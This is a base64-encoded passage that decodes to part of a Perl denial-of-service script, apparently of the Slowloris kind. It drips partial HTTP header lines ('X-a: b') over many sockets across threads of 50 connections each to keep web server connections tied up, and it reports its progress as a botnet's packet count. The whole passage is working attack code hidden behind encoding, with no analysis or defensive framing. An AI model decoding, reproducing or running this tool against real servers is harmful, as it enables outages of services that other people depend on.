bHNlIHsKICAgICAgICAgICAgICAgICAgICAkd29ya2luZ1skel0gPSAwOwogICAgICAgICAgICAgICAgICAgICRmYWlsZWQrKzsKICAgICAgICAgICAgICAgICAgICAkZmFpbGVkY29ubmVjdGlvbnMrKzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBwcmludCAiXHRcdFNlbmRpbmcgZGF0YS5cbiI7CiAgICAgICAgZm9yZWFjaCBteSAkeiAoIDEgLi4gJG51bSApIHsKICAgICAgICAgICAgaWYgKCAkd29ya2luZ1skel0gPT0gMSApIHsKICAgICAgICAgICAgICAgIGlmICggJHNvY2tbJHpdICkgewogICAgICAgICAgICAgICAgICAgIG15ICRoYW5kbGUgPSAkc29ja1skel07CiAgICAgICAgICAgICAgICAgICAgaWYgKCBwcmludCAkaGFuZGxlICJYLWE6IGJcclxuIiApIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHdvcmtpbmdbJHpdID0gMTsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldGNvdW50Kys7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkd29ya2luZ1skel0gPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAjZGVidWdnaW5nIGluZm8KICAgICAgICAgICAgICAgICAgICAgICAgJGZhaWxlZCsrOwogICAgICAgICAgICAgICAgICAgICAgICAkZmFpbGVkY29ubmVjdGlvbnMrKzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkd29ya2luZ1skel0gPSAwOwogICAgICAgICAgICAgICAgICAgICNkZWJ1Z2dpbmcgaW5mbwogICAgICAgICAgICAgICAgICAgICRmYWlsZWQrKzsKICAgICAgICAgICAgICAgICAgICAkZmFpbGVkY29ubmVjdGlvbnMrKzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBwcmludAoiQ3VycmVudCBzdGF0czpcdEJvdG5ldCBoYXMgbm93IHNlbnQgJHBhY2tldGNvdW50IHBhY2tldHMgc3VjY2Vzc2Z1bGx5LlxuVGhpcyB0aHJlYWQgbm93IHNsZWVwaW5nIGZvciAkdGltZW91dCBzZWNvbmRzLi4uXG5cbiI7CiAgICAgICAgc2xlZXAoJHRpbWVvdXQpOwogICAgfQp9CgpzdWIgZG9tdWx0aXRocmVhZGluZyB7CiAgICBteSAoJG51bSkgPSBAXzsKICAgIG15IEB0aHJzOwogICAgbXkgJGkgICAgICAgICAgICAgICAgICAgID0gMDsKICAgIG15ICRjb25uZWN0aW9uc3BlcnRocmVhZCA9IDUwOwogICAgd2hpbGUgKCAkaSA8ICRudW0gKSB7CiAgICAgICAgJHRocnNbJGldID0KICAgICAgICAgIHRocmVhZHMtPmNyZWF0ZSggXCZkb2Nvbm5lY3Rpb25zLCAkY29ubmVjdGlvbnNwZXJ0aHJlYWQsIDEgKTsKICAgICAgICAkaSArPSAkY29ubmVjdGlvbnNwZXJ0aHJlYWQ7CiAgICB9CiAgICBteSBAdGhyZWFkc2xpc3QgPSB0aHJlYWRzLT5saXN0KCk7CiAgICB3aGlsZSAoICQjdGhyZWFkc2xpc3QgPiAwICkgewogICAgICAgICRmYWlsZWQgPSAwOwogICAgfQp9CgpfX0VORF9fCg==